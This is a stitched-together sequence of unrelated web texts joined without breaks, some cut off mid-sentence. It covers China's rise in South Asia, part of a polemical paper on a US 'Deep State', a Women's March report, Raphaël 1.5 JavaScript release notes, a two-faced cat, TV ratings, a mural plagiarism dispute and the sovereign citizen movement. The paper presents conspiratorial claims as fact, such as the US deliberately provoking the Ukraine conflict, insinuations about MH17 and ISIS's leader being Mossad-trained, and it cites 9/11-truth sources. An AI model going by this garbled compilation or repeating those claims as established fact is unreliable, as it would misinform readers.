Even as China is becoming the largest trade partner of most states in South Asia, including India, New Delhi is busy repeating the old mantra of South Asia being India’s exclusive sphere of influence. Of course, no one even takes note of it anymore.
Pakistan’s “all-weather” friendship with China is well-known, but the reach of China in other South Asian states has been extraordinary.
Bangladesh and Sri Lanka view India as more interested in creating barriers against their exports than in spurring regional economic integration. India’s protectionist tendencies have allowed China to don the mantle of regional economic leader.
Instead of India emerging as a facilitator of socio-economic development in Sri Lanka, Nepal and Bhutan, it is China’s developmental assistance that’s having a larger impact.
China’s strategy toward South Asia is premised on encircling India and confining her within the geographical coordinates of the region. This strategy of using proxies started off with Pakistan and has gradually evolved to include other states in the region, including Bangladesh, Sri Lanka and Nepal.
China is entering markets in South Asia more aggressively through both trade and investment, improving its trade and investment linkages with South Asian states through treaties and bilateral cooperation.
Following this up with construction of a ring of road and port connections in India’s neighborhood and deepening military engagements with states on India’s periphery, China has firmly entrenched itself in India’s backyard.
This quiet assertion of China has allowed various smaller countries of South Asia to play China off against India. Most states in the region now use the China card to balance against the pre-dominance of India.
Forced to exist between their two giant neighbors, the smaller states in South Asia have responded with a careful balancing act.
India’s structural dominance in South Asia makes it a natural target of resentment among its smaller neighbors. And yet there is no hope of fostering regional economic cooperation in the absence of Indian leadership. India’s failure to counter China’s rise in South Asia has made it even more unlikely that such cooperation will evolve productively.
As the two regional giants compete with each other in the near future, they will be more focused on their relative gains vis-a-vis each other than on the absolute gains that regional cooperation could bestow on South Asia.
Regional economic integration has faltered in South Asia.
The formation of SAARC in 1985 marked a watershed event in the regional dynamics of the South Asian subcontinent. This historic step reflected the first institutionalized effort to forge multilateral cooperation among the countries of the region.
Covering over 1.5 billion people across India, Pakistan, Bangladesh, Nepal, Sri Lanka, Bhutan, Maldives and Afghanistan, SAARC is one of the largest regional organizations in the world. But its achievements so far have been so minimal that even the constituent states have become lackadaisical in their attitudes toward it.
Intra-regional trade in South Asia remains far below potential despite the member states signing the South Asian Free Trade Agreement that came into force in 2006.
India could have succeeded in stopping the Chinese juggernaut in South Asia by suggesting that all observer states to SAARC, including China, support common development projects in the region before becoming dialogue partners. Yet this is a pyrrhic victory, if at all. The outcome of the Kathmandu summit of SAARC was as disappointing as that of its predecessors.
Of the three connectivity agreements on road, rail and energy pushed by New Delhi, only the one on energy could be signed. Though the target date for the formation of a regional economic community was set in the next 15 years, it remains far from clear how that will be achieved in light of the present stasis in the organization.
Meanwhile, China has reached out to South Asian states in a major way by promising $30 billion investment in infrastructure development and 10,000 scholarships for South Asian students. Many South Asian states have already decided to be part of China’s Silk Road Economic Belt or Maritime Silk Road initiatives. Most, including India, have joined China’s Asian Investment Infrastructure Bank.
The Modi government has made South Asia a priority in its foreign policy. It remains to be seen if Modi can “reinvigorate” and “revitalize” SAARC in the coming years as he suggested at the Kathmandu summit — by encouraging neighbors to join India’s growth story.
India’s attempts to keep China out of the subcontinent have clearly not worked, and despite Modi’s lofty ideas, it’s going to be a long road ahead for |
. 2014). A State Department official was quoted saying that the US would "affirm our support for the sovereignty and territorial integrity of both countries and for all post-Soviet states" (Brunnstorm, D. 2014).
What is this all about? What interests does the US government have in Ukraine? In a process of steady hegemonic decline, the US has deliberately provoked the Ukraine conflict in order to prevent the deeper cooperation between Europe and Russia. Should it succeed it might even open doors to export American fracking gas to Europe. Ukraine could even invent arguments to encourage a direct NATO-Russian confrontation. “As with the ruins of Iraq and Afghanistan, Ukraine could then develop into a theme park for the CIA – personally directed by CIA director John Brennan from Kiev, with dozens of special forces of FBI and CIA to build a “security structure” to prosecute all those not in agreement with the February coup” (Pilger, J. 2014). Above all, the sanctions and pinprick policy against Russia is of little cost for the US as it has close to no commercial exchange with Russia – quite contrary to the EU. Their economic decline in consequence of the sanctions is most welcome as it preserves the US hegemonic role for the time being.
In strange uniformity the Western mainstream media have adopted an interpretation of events which ignores Western provocative actions as well as selfish interests of the West, and demonize President Putin and Russia (Smith, P. 2014). Interestingly enough, this goes to a large extent against public opinion as revealed in opinion polls. It is mostly the Western media which foment Cold War sentiments and thus play into the hands of neocon politicians. Most presumably the shooting down of Malaysian flight MH17 and the almost total secrecy in which the US intelligence and the expert investigations are veiled must be seen in this context.
3.3 TISA, TIPP and TTIP
In 1995 the World Trade Organization (WTO) grew out of the General Agreement on Tariffs and Trade (GATT). Its first and most important project was the Multilateral Agreement on Investments (MAI) planned to concede to transnational corporations far-reaching rights against member states. After first draft texts were leaked and developing countries opposed the thrust of the negotiations, the negotiation process was transferred to the OECD, the organization of highly industrialized countries in order to “avoid undue politicization”. When draft texts were passed over to NGOs, a broad public campaign began to oppose the agreement which finally led first to a moratorium, then to an end of the negotiations. However, some of the intended contents became included in numerous bilateral agreements. Now new efforts are being made to once again establish agreements friendly to TNC wishes: the Trade in Services Agreement (TISA), the Trans-Pacific Partnership (TPP), and the Trans-Atlantic Trade and Investment Partnership (TTIP). While both processes are kept behind closed doors in almost total secrecy, it happens, once again, that NGOs could get hold of individual sections of drafts under negotiation.
TISA is being prepared as an international trade agreement between the US, the EU and 21 additional countries. It is supposed to liberalize some seventy per cent of worldwide service industries. In both the US and the EU some 75 per cent of the GNP fall in the service category. Negotiations began in March 2013 and partners have submitted their offers by the end of that year. In June 2014 WikiLeaks published the draft chapter for financial services. The agreement is supposed to extent “regulatory principles” to all service sectors including many public services (water and transport, public libraries, theaters, sports facilities and many more). The rules would allow all foreign competitors to access domestic service markets to the same conditions as domestic suppliers, and would restrict government capabilities to regulate, to buy or to offer such services. Thus, regulation of many public or commercial services would no longer happen in the interest of the common good but rather in the interest of foreign corporate profits. The agreement should not only be kept secret during negotiations but also for five years after entering into force [34].
“Today, 13 November 2013, WikiLeaks released the secret negotiated draft text for the entire TPP (Trans-Pacific Partnership) Intellectual Property Rights Chapter. The TPP is the largest-ever economic treaty, encompassing nations representing more than 40 per cent of the world’s GDP. The chapter published by WikiLeaks is perhaps the most controversial chapter of the TPP due to its wide-ranging effects on medicines, publishers, internet services, civil liberties and biological patents.” The TPP is the forerunner to the equally secret US-EU pact TTIP, for which President Obama initiated US-EU negotiations in January 2013. Together, the TPP and TTIP will cover more than sixty per cent of global GDP. Both pacts exclude China. Since the beginning of the TPP negotiations, the process of drafting and negotiating the treaty’s chapters has been shrouded in an unprecedented level of secrecy. Access to drafts of the TPP chapters is shielded from the general public. It has been previously revealed that only three individuals in each TPP nation have access to the full text of the agreement, while 600 ’trade advisers’ – lobbyists guarding the interests of large US corporations such as Chevron, Halliburton, Monsanto and Walmart – are granted privileged access to crucial sections of the treaty text. The Obama administration is preparing to fast-track the TPP treaty in a manner that will prevent the US Congress from discussing or amending any parts of the treaty. The longest section of the Chapter – ’Enforcement’ – is devoted to detailing new policing measures, with far-reaching implications for individual rights, civil liberties, publishers, internet service providers and internet privacy, as well as for the creative, intellectual, biological and environmental commons. Particular measures proposed include supranational litigation tribunals to which sovereign national courts are expected to defer, but which have no human rights safeguards. The draft states that these courts can conduct hearings with secret evidence [35].
On April 30, 2007, a Framework Agreement was signed between the EU and the US. With it, the Trans-Atlantic Economic Council was set up to prepare negotiations which then started formally by mid-2013. A High-Level Working Group on Jobs and Growth chaired by US Trade Representative Ron Kirk and EU Trade Commissioner Karel de Gucht was entrusted with bringing the negotiations forward. Its membership was not publicly disclosed until the Corporate Europe Observatory revealed their background in Business Europe and the Bertelsmann Foundation, both with strong neoliberal inclinations. None of them had a democratic mandate.
Primarily, TTIP is about the abolishment of non-tariff trade barriers, rules and standards. This includes, e.g., the clear declaration of genetically manipulated organisms in food which is mandatory in the EU but not in the US. Corporations like Monsanto have since long been critical of such regulations and lobby their being abolished, so they can sell their seeds and products on the European market. Hydraulic Fracturing is common in the US but forbidden in the EU, including the import of shield gas. Another issue on the agenda is the withdrawal of controls and restrictions, introduced after the financial crisis of 2008, for the financial sector, with City of London lobbies on the forefront.
TTIP is heavily criticized by NGOs for being negotiated without any democratic participation. The effects on economic growth and employment put in favor of it by its proponents are expected to be only marginal while being more than offset in a race to the bottom by undermining environmental, health and work standards in the sole interests of corporate profits. A major critical issue is the planned Investor-State Dispute Settlement which gives corporations a one-way right to sue governments in case they see their profits endangered by public regulation, while states would not have similar rights. This mechanism would exclude any resort to the judiciary. Once signed, the convention could not be altered without unanimous consensus among all member parties.
As is the case with TPP, TTIP negotiations exclude not only the public but also members of national or European parliaments, even members of national governments from insight into the documents. Parallel to attempts to fast-track ratification in the US, it is under debate in the EU whether or not the European Commission shall be the only responsible to sign the final legally binding contract.
The hurry which the US government is imposing on the negotiations is easily understandable: With European Parliament elections on May 25, and Obama’s term of office expiring, with Russia’s gas deal with China and its efforts to get rid of its US-dollar reserves, with the BRICS understanding to set up an own version of the World Bank and the IMF, and with increasing opposition in civil society, the agreements are on high risk, indeed. They might not survive public scrutiny once the texts are fully exposed. The secrecy of the negotiations despite the fact that those agreements, once ratified, would have deep implications on everybody’s life demonstrates to what extent democracy has already been damaged by our governments, the takeover by the Deep State.
4. Conclusion
“Illegitimate authority is on the rise and democracy is gradually succumbing to the disease of neoliberal ideology so that more and more functions of legitimate government are being assumed by illegitimate, unelected, opaque agents and organizations. This is the case at all levels, national, regional and international…. It is not exactly news that governments have always governed on behalf of certain class interests but this is different from allowing those interests to actually write the legislation and to make policy directly, including budgetary, financial, labor, social and environmental policy in the place of elected legislators and civil servants. It is different from allowing private corporations deliberately to disseminate deception and lies and undermine the public’s right to know. It’s not just their size, their enormous wealth and assets that make the TNCs dangerous to democracy. It’s also their concentration, their capacity to influence, and often infiltrate, governments and their ability to act as a genuine international social class in order to defend their commercial interests against the common good” (George, S. 2014). Susan George accurately describes the paths our Western societies are following, the US most advanced, others lagging somewhat behind. It seems to be a one-way process without any escape towards democracy. The three case studies demonstrate convincingly the degree to which the Dark State has already overtaken our political systems, both domestic and international.
The global ruling class feeling that US world hegemony is approaching its end and uncertain about its own fate seems to be obsessed by paranoia, and running amok with only one goal left: to fill as much as possible into its own coffers. It even abstains from the impression of following the rule of law [36]. Belligerent behavior towards other countries goes hand in hand with sharply increasing social tensions and conflict within.
US exceptionalism, by its very definition, is the deep conviction of one’s general superiority over others. Thus, it is a fundamentally intolerant and pre-enlightenment attitude. At the same time, it tends to turn a blind eye against own shortcomings, deficits and wrongdoings. From it follows the self-attributed right to teach others, to impose on others one’s role model of morale and of social organization, to exert power on others, to maintain the role of world policeman. Contempt of international law follows from the idea that law is as we do. Little wonder that others in the course of political, economic, and cultural emancipation, decreasingly accept this master-and-serf model of power distribution. There is revolt in other parts of the world, and sometimes violently critical of “the West”. The world will de-Americanize, as one Chinese diplomat put it. In fact it already does [37]. Washingstons aggressive and provocative foreign policy, short-sighted, arrogant and egomaniac, will not pay out. The BRICS 2014 Fortalezza summit clearly send signs of a new world order with a multipolar power structure.
But real and lasting change must come from within US society [38].
This paper was written for a special edition of FORESIGHT on Who Rules the World? edited by Dennis Morgan, to be published this fall by Emerald
Bernd Hamm is professor emeritus of sociology, University of Trier, now living in Berlin, Germany. His recent publications include Devastating Society – The Neo-conservative Assault on Democracy and Justice (London 2005), Cultural Imperialism – Essays on the Political Economy of Cultural Domination (ed. together with Russell Smandych, Ann Arbor 2005) and Umweltkatastrophen (Environmental Catastrophies, Marburg 2011). He can be reached under hamm@uni-trier.de
Notes and References
All internet sources have been checked end of June 2014
Notes
[1] Also, see Holbrook, 1953; more recently, Landes, 2006; Marshall, A.G., 2013; This comes close to what the Occupy movement, Attac and some authors call the global 1 % even it is, of course, about a group much less numerous than one per cent of the global population
[2] born 28.2.1961 in Syrjanowsk, East Kasachstan, has nothing to do with Fred C. Koch, the father of the Koch brothers, owners of Koch industries, born 23.9.1900 in Texas
[3] The financial industry even profits of budget shutdown, cf. Chossudovsky, M. 2013
[4] http://www.nationalhomeless.org/ ; “It is now illegal in 33 cities to feed homeless people”, http://www.kulturekritic.com/2014/06/news/it-is-now-illegal-in-33-cities-to-feed-homeless-people/
[5] among the sources used here are: Homeless line up for food, Los Angeles weighs restrictions, New York Times, 26 November 2013; http://www.informationclearinghouse.info/article37243.htm; Homeless in Detroit allege they are being driven out of downtown, http://america.aljazeera.com/articles/2013/11/28/homeless-in-detroitallegetheyarebeingdrivenoutofdowntown.html; Buchheit, P. (2013a), 3 Shocking Ways Inequality Keeps Getting Worse in America, http://www.informationclearinghouse.info/article37256.htm; Poverty in America Is Mainstream, http://opinionator.blogs.nytimes.com/2013/11/02/poverty-in-america-is-mainstream/; America's Food Stamp Cut Stories You Probably Haven't Heard About, http://mediamattersforamerica.tumblr.com/post/70211048750/americas-food-stamp-cut-stories-you-probably-havent; A Record Number of Americans Can't Afford Their Rent, http://www.alternet.org/record-number-americans-cant-afford-their-rent; Thousands of Homeless People Live in Shantytowns at the Epicenter of High-Tech, Super-Rich Silicon Valley, http://www.alternet.org/hard-times-usa/jungle-thousands-homeless-people-live-shantytowns-epicenter-high-tech-super-rich; 30 Percent Of Americans Skip Out On Medical Care Because It's Too Expensive, http://thinkprogress.org/health/2013/12/10/3041821/americans-skip-health-care-2013/; Zeese, K., Flowers, M., America Is the Most Inhumane Developed Country on the Planet. Are We Going to Let It Stay That Way? http://www.informationclearinghouse.info/article37134.htm; Buchheit, P., (2013b), Retirement Theft in 4 Despicable Steps, http://www.informationclearinghouse.info/article37313.htm; The war on women: The newly invisible and undeserving poor in America, http://opendemocracy.net/5050/ruth-rosen/war-on-women-newly-invisible-and-undeserving-poor-in-america; Black Women Are 40 Percent More Likely To Die From Breast Cancer Than White Women, http://thinkprogress.org/health/2013/12/20/3095981/black-women-breast-cancer-mortality/; Covert, B., (2013), Forty Percent Of Workers Made Less Than $20,000 Last Year, http://www.informationclearinghouse.info/article37243.htm; see also Linh Dinh’s Postcards from the End of America, e.g., http://www.informationclearinghouse.info/article39419.htm; http://www.informationclearinghouse.info/article39209.htm; http://www.informationclearinghouse.info/article39275.htm
[6] see, e.g., Ahmed, N.M. (2005); Chossudovsky, M. (2005); or recently Ryan, K.R. (2013); http://www.911truth.org/category/resources_and_materials/
[7] Numbers are from 20 July 2014, www.informationclearinghouse.com : 1.455.590 Iraqis murdered in the USK war against and the occupation of Iraq; number of US military personnel sacrifized (officially confirmed) in the US war against and the occupation of Iraq 4.801; number of international occupation forces murdered in Afghanistan: 3.455; costs of the wars against Iraq and Afghanistan $1.547.053.860.087
[8] ISIS, the Islamic State of Iraq and Syria, was supported by the US as an ally in the attempt to oust President Bashar al Assad; within only days, IS became the enemy number one and Assad was turned from foe to friend who’s help is requested: Roberts, P.C. (2014), “The Leninist in the White House, http://www.informationclearinghouse.info/article39521.htm; ISIS: Made in Washington, Riyadh - and Tel Aviv, http://www.informationclearinghouse.info/article39504.htm; Baghdadi 'Mossad trained', http://www.gulf-daily-news.com/NewsDetails.aspx?storyid=381153
[9] The Case for Goliath: how America acts as the world’s government in the twenty-first century (2005); Democracy’s Good Name: the rise and risks of the world’s most popular form of government (2007); Frugal Superpower: America’s global leadership in a cash-strapped era (2010)
[10] Team B was partly recruited from the Committee on the Present Danger which first met in 1950. It lobbied the government directly and sought to influence public opinion through a publicity campaign. This iteration of the CPD was disbanded in 1953 when its leaders were offered positions in the administration of Dwight D. Eisenhower. It was privately revived in March 1976 and provided 33 officials to the Ronald Reagan administration including Director of Central Intelligence William Casey, National Security Advisor Richard V. Allen, United States Ambassador to the United Nations Jeane Kirkpatrick, Secretary of the Navy John Lehman, Secretary of State George Shultz, and Assistant Secretary of Defense Richard Perle. In June 2004 a third incarnation of CPD was being planned to address the War on Terrorism. It’s still active: “Today, the CPD includes over 100 former White House officials, Ambassadors, Cabinet Secretaries, academics, writers, and other foreign policy experts. Its Co-Chairmen are the Honorable George Shultz, Secretary of State under President Reagan, and R. James Woolsey, Director of the CIA under President Clinton. Senators Joe Lieberman and Jon Kyl serve as Honorary Co-Chairs”; see Committee on the Present Danger homepage, http://www.committeeonthepresentdanger.org/index.php?option=com_content&view=article&id=50&Itemid=54
[11] Landay, J.M., (2002), The Powell Manifesto: How a Prominent Lawyer’s Attack Memo Changed America, mediatransparency.org, August 20, cited in Nace, T., 2003:137; Nace, T. (2003), chapter 12, gives a lively account on how the Revolt of the Bosses was instigated
[12] http://en.wikipedia.org/wiki/Project_for_the_New_American_Century
[13] see, among other sources, Galtung, J., (2007), The State of the World, Journal of Futures Studies, 12, August, 1: 145 – 160
[14] http://www.youtube.com/watch?v=TY2DKzastu8
[15] further information on its members and their activities, see Lobe, J. (2014)
[16] http://en.wikipedia.org/wiki/Covert_United_States_foreign_regime_change_actions ; see also Vltchek, A. (2014). Only recently it became known that “for two years from 2010 on the United States Agency for International Development USAID had developed an internet service similar to Twitter for the people of Cuba. Its long term goal is it to foment public uprisings against the government and to destabilize the country”, http://thiscantbehappening.net/zunzuneo. Many hints to drug trading, money laundering and other crimes committed by the CIA cannot be followed up here, cf. Ruppert, M. (2004) or Edmonds, S. ( http://www.corbettreport.com/interview-595-sibel-edmonds-on-nato-terrorism-911-and-drug-running/ ).
[17] U.S. State Dept. Document Confirms Regime Change Agenda in Middle East, http://mebriefing.com/?p=789
[18] it goes without saying that these three names stand for a number of others; see Ruppert, M. (2004), Chossudovsky, M. (2005), and go on to Stone, O., Kuznick, P. (2013); Chris Floyd: A Future in Hell: The Bitter Fruits of Bellicose Policy. When the Soviet Union fell, there was an opening -- a genuine opening -- to make a better world. But America's bipartisan elites refused to take that path. http://www.informationclearinghouse.info/article39161.htm
[19] http://en.wikipedia.org/wiki/Strategy_of_tension
[20] Video - Facebook mind control experiments linked to DoD research on civil unrest:
Facebook's experiment on over half-a-million unsuspecting users has taken a new twist with the revelation that a researcher connected to a Department of Defense-funded program to use the military to quell civil unrest also participated in the study. http://rt.com/usa/169848-pentagon-facebook-study-minerva/
[21] One of the few who have intensively written about the Deep State is Peter Dale Scott (see, for a fist intro, Peter Dale Scott, "The American Deep State, Deep Events, and Off-the-Books Financing," The Asia-Pacific Journal, Vol. 12, Issue 14, No. 3, April 6, 2014; and his website with large amounts of material: http://www.peterdalescott.net/q.html ); see also Curtin, E. (2014)
[22] Ubiquitous surveillance is making fast and frightening progress: U.S. Funds "Terror Studies" to Dissect and Neutralize Social Movements, http://www.informationclearinghouse.info/article39009.htm; The Secret Government Rulebook For Labeling You a Terrorist, http://www.informationclearinghouse.info/article39211.htm; The Rise to Power of the National Security State. http://www.informationclearinghouse.info/article39323.htm; How America's Police Became an Army: The 1033 Program, http://www.newsweek.com/how-americas-police-became-army-1033-program-264537; Pentagon's 1033 Program is Preparing for War Against the Civil Population, http://www.informationclearinghouse.info/article39451.htm; US police given billions from Homeland Security for 'tactical' equipment, http://www.theguardian.com/world/2014/aug/20/police-billions-homeland-security-military-equipment
[23] which also houses OIRA, the Office of Information and Regulatory Affairs, an agency primarily concerned with shiGuys? Maybe women should be in charge of demonstrations from now on.
Up to 750,000 people marched through the streets of downtown Los Angeles on Saturday in one of the sister marches to the Women’s March in Washington, D.C.
And not a single one of them was arrested, the Los Angeles Police Department told TheWrap. “We had zero arrests,” Officer Norma Eisenman said. “It was very peaceful, very family-oriented. We had lots of families out there.”
Also Read: Charlize Theron, John Legend and Scene at Sundance Women's March (Photos)
Eisenman added: “They looked happy. There were people out there who looked happy just to exercise their First Amendment rights.”
There was no official attendance count by the LAPD, which stopped keeping track after 100,000 people, she said. Organizers put the total at 750,000 people. A Wrap reporter at the march observed crowds of people of all backgrounds packed so tightly together that they could barely move in places — but heard no one say a single cross word, except in chants about the new president, Donald Trump.
Though Madonna spoke about blowing up the White House at the Washington march, that was just talk. The D.C. march and others across the country appeared to be as nonviolent as the one in Los Angeles.
Also Read: Madonna Thought About 'Blowing Up the White House,' Unloads F-Bombs in Speech (Video)
Contrast that with the protests of Donald Trump’s inauguration Friday, in which more than 200 were arrested in San Francisco and Washington.
On Saturday, people channeled their anger into chants and signs, but it seemed like no one and nothing got hurt — except maybe Donald Trump’s feelings.In a meanwhile Raphaël 1.5 has been released. What is new and why such a version bump? Here is transcript from git commit:
1.5.0 • fixed IE8 issue with the HTML element named Raphael • fixed precision for arcs in IE • added caching to getPointAtSegmentLength function • added ability to do more than one animation of an element at the same time • added "cubic-bezier()" as an easing method • added new syntax for animation (keyframes) • hsl2rgb now accept h as degree (0..360), s and b as % (0..100) • show="new" instead of target="blank" for SVG • added angle method • added snapTo method • cached popup || activeX for IE • fixed insertAfter • fixed timeouts for animation • added customAttributes
Lets take a look at most important updates: custom attributes and keyframes. Custom attribute could be created like this:
paper.customAttributes.segment = function (x, y, r, a1, a2) { var flag = (a2 - a1) > 180, clr = (a2 - a1) / 360; a1 = (a1 % 360) * Math.PI / 180; a2 = (a2 % 360) * Math.PI / 180; return { path: [["M", x, y], ["l", r * Math.cos(a1), r * Math.sin(a1)], ["A", r, r, 0, +flag, 1, x + r * Math.cos(a2), y + r * Math.sin(a2)], ["z"]] }; }
This will create new attribute segment, which you could set up like el.attr({segment: [x, y, r, a1, a2]});. Basically the function we defined earlier will translate our custom attribute into set of common attributes, in our case segment will become a path. The important thing is that now as an attribute segment could be animated. See demo: growing segments of the pie.
What about keyframes? Well, you can simply specify animation in additional format:
el.animate({ "20%": {cy: 200, easing: ">"}, "40%": {cy: 100}, "60%": {cy: 200}, "80%": {cy: 300, callback: function () {}}, "100%": {cy: 200} }, 5000);
This is more like CSS 3 animation does it. And as a bonus you now can run multiple different animations at the same time over the same element. See demo: asynchronous animation.Meet Frank and Louie, the phenomenal two-faced cat that has set a Guinness World record as the oldest Janus cat ever. A Janus cat is simply a fancy term for a two-faced cat taken from the name of the two-faced Roman God of transitions. Frank and Louie are two different cats that share one body. Their body has three eyes (the middle one is useless and can not be seen out of), one brain, two mouths and two working noses. This bizarre cat has defied science by living to twelve years old, most Janus cats only live 1 to 4 days.
Frank and Louie belong to Marty Stevens and according to her and other veterinarians, there seems to be no sign of the two slowing down. They enjoy walks, are affectionate, and ultimately happy. Only Frank in connected to the esophagus so only Frank's mouth is really needed, but they eat like any normal cat. Frank and Louie are an extraordinary example of survival, thanks to Marty's great care, by living to twelve and living as a healthy and functioning adult cat.
Frank and Louie have the disorder diprosopus or craniofacial duplication, which is a rare disease that is the cause of the two faces. A protein called sonic hedgehog homolog is said to be the cause of diprosopus because the protein has a corresponding gene. The sonic hedgehog homolog is responsible for signaling proper formation of limbs and organs to the cells during development and not having enough of this protein can cause cyclopia, which causes the development of only one eye socket that give the appearance of a cyclops, like the third middle eye Frank and Louie have. Diprosopus can occur in humans as well. The most recent case occurred in 2008 when a baby girl was born with two different faces, but sadly died from a heart attack two months after her birth.
Frank and Louie make a pretty cool cat and let's hope they continue their long life! Check out the video below and see them in action!The most recent episode of CBS comedy “The Big Bang Theory,” in which Sheldon and Amy consummated their relationship, has set a ratings record when it comes to time-shifted viewing.
According to Nielsen, 7.18 million viewers caught up with the Dec. 17 episode of television’s No. 1 comedy in the seven days after its premiere. It had averaged 17.25 million viewers in same-day viewership, and the time-shifted lift via VOD and DVR playback brings its total to 24.43 million — eclipsing the show’s season premiere (23.73 million) to stand as the television season’s most-watched scripted telecast in “live plus-7.”
The “Bang” lift may have been especially big this time around because the show’s linear airing came during a week when many people are distracted by holiday happenings.
See More: ‘The Big Bang Theory’ Explores the Sex-‘Star Wars’ Nexus (SPOILERS)
The 7.18 million-viewer lift breaks the previous U.S. television record for an L+7 lift, set by the series premiere of ABC drama “How to Get Away With Murder” (6.95 million) in September 2014. The largest L+7 lift for AMC’s “The Walking Dead” was 6.3 million last February opposite NBC’s highly rated “SNL 40th Anniversary” special.
On an average basis this season, “Big Bang Theory” and “Walking Dead” are the biggest time-shifted gainers, growing by 5.6 million viewers from “same-day” to “live plus-7.” They’re followed by NBC’s “Blindspot” (5.5 million), Fox’s “Empire” (5.1 million), NBC’s “The Blacklist” (4.9 million) and ABC “Quantico” rookie (4.4 million).
In adults 18-49, the Dec. 17 episode of “Big Bang Theory” grew 2.9 ratings points (or 71%) from a 4.1 in same-day rating to a 7.0 in live+7. The previous season high for the show in L+7 (6.8) came for its season premiere, which grew 2.1 points from its 4.7 same-day rating.
CBS dominated the playback numbers for Dec. 14-20, claiming all of the week’s top 10 biggest 18-49 broadcast lifts. That allowed it to leapfrog NBC for the week’s victory in the demo (2.4 vs. 2.2)A Chicago artist who raised almost $12,000 to paint a mural depicting Michelle Obama as an Egyptian queen has been accused of stealing the idea from another artist.
Chris Devins, a self-described white 'artist and urban planner', finished his colorful portrait of the former First Lady on the side of a building in a South Side neighborhood last Friday.
The striking image received a string of publicity in Chicago, leading Devins to tell DNAInfo he created the mural to: 'present her as what I think she is, so she's clothed as an Egyptian queen.'
Devins originally said he needed to raise money for the project to cover its cost, which he said would be about $15,000.
Devins shared this picture of the mural on his GoFundMe page, which he used to raise just under $12,000 for the artwork
A Chicago artist who raised almost $12,000 to paint a mural depicting Michelle Obama as an Egyptian queen has been accused of stealing the creation from another artist. Pictured is the original work by Gelia Mesfin, which she posted on Instagram last November
Pictures of the mural were widely-shared across social media, and it eventually found its way to Gelila Mesfin, an Ethiopian art student in New York.
Mesfin, who shares artwork of her own on Instagram under the name 'thick_east_african_girl,' was shocked to see that the South Side painting was almost identical to a digital drawing of Obama she uploaded last November.
Her image was created by editing a picture taken by New York Times photographer Collier Schorr.
The 24-year-old student, who told the Washington Post she was initially flattered her work had seemingly inspired another artist, was quick to fire off a scathing attack on Devins.
'How can you just steal someone's artwork... someone's hard work and claim it like it's yours... how can you go on record and say you designed this... this is so disheartening and so disrespectful on so many levels,' Mesfin wrote on Instagram.
Chris Devins (left) finished his colorful portrait of the former First Lady on the side of a building in a South Side neighborhood last Friday. Gelila Mesfin (right), an Ethiopian art student in New York, accused him of stealing her work
'This man seriously created a gofundme page, raised money and did this... it's one thing to share or even profit from someone's work but to claim it as yours is just wrong!
'I wouldn't mind if he had given me credit or said he took the design from another artist but saying you designed it is just wrong!'
She continued: 'The man is a teacher for God's sake and said he was doing this to create positivity for his students and community... but he didn't think that stealing a young girl's artwork and making a profit out of it does more damage than good.'
Many on social media saw Mesfin's protestations, and were quick to go on the attack against Devins.
Devins explained on his GoFundMe page why he needed to raise money to pay for the project, which he has since been accused of stealing
After learning her work had been used in the mural, Mesfin posted a lengthy message on social media attacking the Chicago artist
'This dude tried to steal a piece of art by a black woman of a black woman and thought he wouldn't get caught,' Chicago Tribune writer Britt Julios added.
But Devins didn't take the criticism laying down, and hit back when speaking to DailyMail.com.
'I am doing these things in my capacity as an urban planner but everyone keeps saying 'artist'... As an urban planner i make no claims on any of the images I do, a fool can see that I use public domain images a lot, but they know that the audience has no idea what an urban planner does, so they sexy it up with artist,' he said.
'It would be a problem if I posed as an Artist and took credit for another artists work, but i don't do that. I’m urban planning.
Now, it does turn out that the way I take whole sets of images, re-mix them and re-present them as a way to connect buildings to the community may be in itself a new form of art, like an image DJ.
As a non-artist artist, it turns out I may be thinking more outside the box than a lot of these so-called artists who doodle, but who are trapped in that box of gallery attendance and wine sipping.'
He then confirmed to DailyMail.com that all the money he raised was 'gone' - having been spent on:'supplies, the paints, the lift to get up on the building, insurances, all that sort of stuff'.
Devins then took aim at Mesfin, referencing her use of a New York Times photograph to create her piece.
'She can’t come to me and be upset… you can’t steal a bike then be upset when someone else rides it,' he said.
Explaining how he came across the artwork, Devins said: 'I found her picture on Pinterest, and there was no link back anywhere. I wasn’t aware of her or her work until about two weeks ago.'
Devins also shared a picture along with the quote: 'The bad artists imitate, the great artists steal.'
His comments seemed to be contrary to some Mesfin made on Saturday, when she returned to Instagram with a message that suggested they had come to some sort of agreement.
'I have been in contact with Chris Devins in hopes of resolving this issue in an applicable and professional manner,' it read.
'Every artist wants (to) share their work not only in the hopes of recognition but also to bring people joy and create a voice for the voiceless.
'Much love and respect to all of you.'
Many on social media were quick to accuse Devins of stealing the idea after pictures of it went viral
The Chicago artist defended himself by listing his qualifications, before posting a picture of the quote: 'the bad artists imitate, the great artists steal'San Francisco Superior Court, where Ellen Pao is suing Kleiner Perkins for gender discrimination.
SAN FRANCISCO—Kleiner Perkins lawyer Lynne Hermle began her cross-examination of reddit interim CEO and former Kleiner Perkins junior partner Ellen Pao today |
and groups are quite free to re-interpret and add to the existing doctrine as they see fit. The main point is that following the sovereign citizen doctrine also becomes a way of life.
But it’s not always holy or sacred. Like born-again Christian missionaries, the sovereign citizens feel duty-bound to spread the gospel by any means necessary. And sometimes it is necessary to charge money, lots of money. Some describe it as a pyramid scheme.
Believers caught up in the sovereign citizen doctrine buy into the movement, sometimes literally. Teachers of the law may charge up to $300 for training new initiates, as the Montana Freemen did during their 81-day standoff with the FBI in 1996. At least 800 disciples made their way to the besieged farm the Freemen occupied, leaving to spread the gospel throughout the land. Another money maker is the manufacture and sale of fake driver’s licenses, birth certificates, etc.
But there’s usually a financial interest in it for the new initiate as well, somewhere. Many owe taxes, fines, loans, credit card bills, child support, etc. They might be facing foreclosure or even jail, and have tried all other legal remedies and avenues. In short, they are often desperate people seeking a solution as well as answers (how to stop it and why did it happen?).
Conclusion
The sovereign citizen movement is based on a confusing legal/conspiracy theory that takes many forms, but ultimately promises to ‘liberate’ a person from government control and oppression through a process of legalistic maneuvers. Like the sources from which it draws its theory, the doctrine incorporates aspects of legal, political, economic, and religious movements. At the same time, it can be described as a legal-political social movement that functions like a religious cult.
As a doctrine it is a threat to Indigenous peoples in general, and the struggle for Indigenous sovereignty in particular, for several reasons.
First and foremost, the origins of this doctrine are found within a right-wing Christian fundamentalist movement, strongly influenced by patriarchal, racist, and anti-Semitic beliefs. Ultimately, the sovereign citizen movement in the US seeks to return that society to colonial-era America, where only white male property owners had rights. This is obviously contrary to the goals of a genuine anti-colonial Indigenous resistance movement.
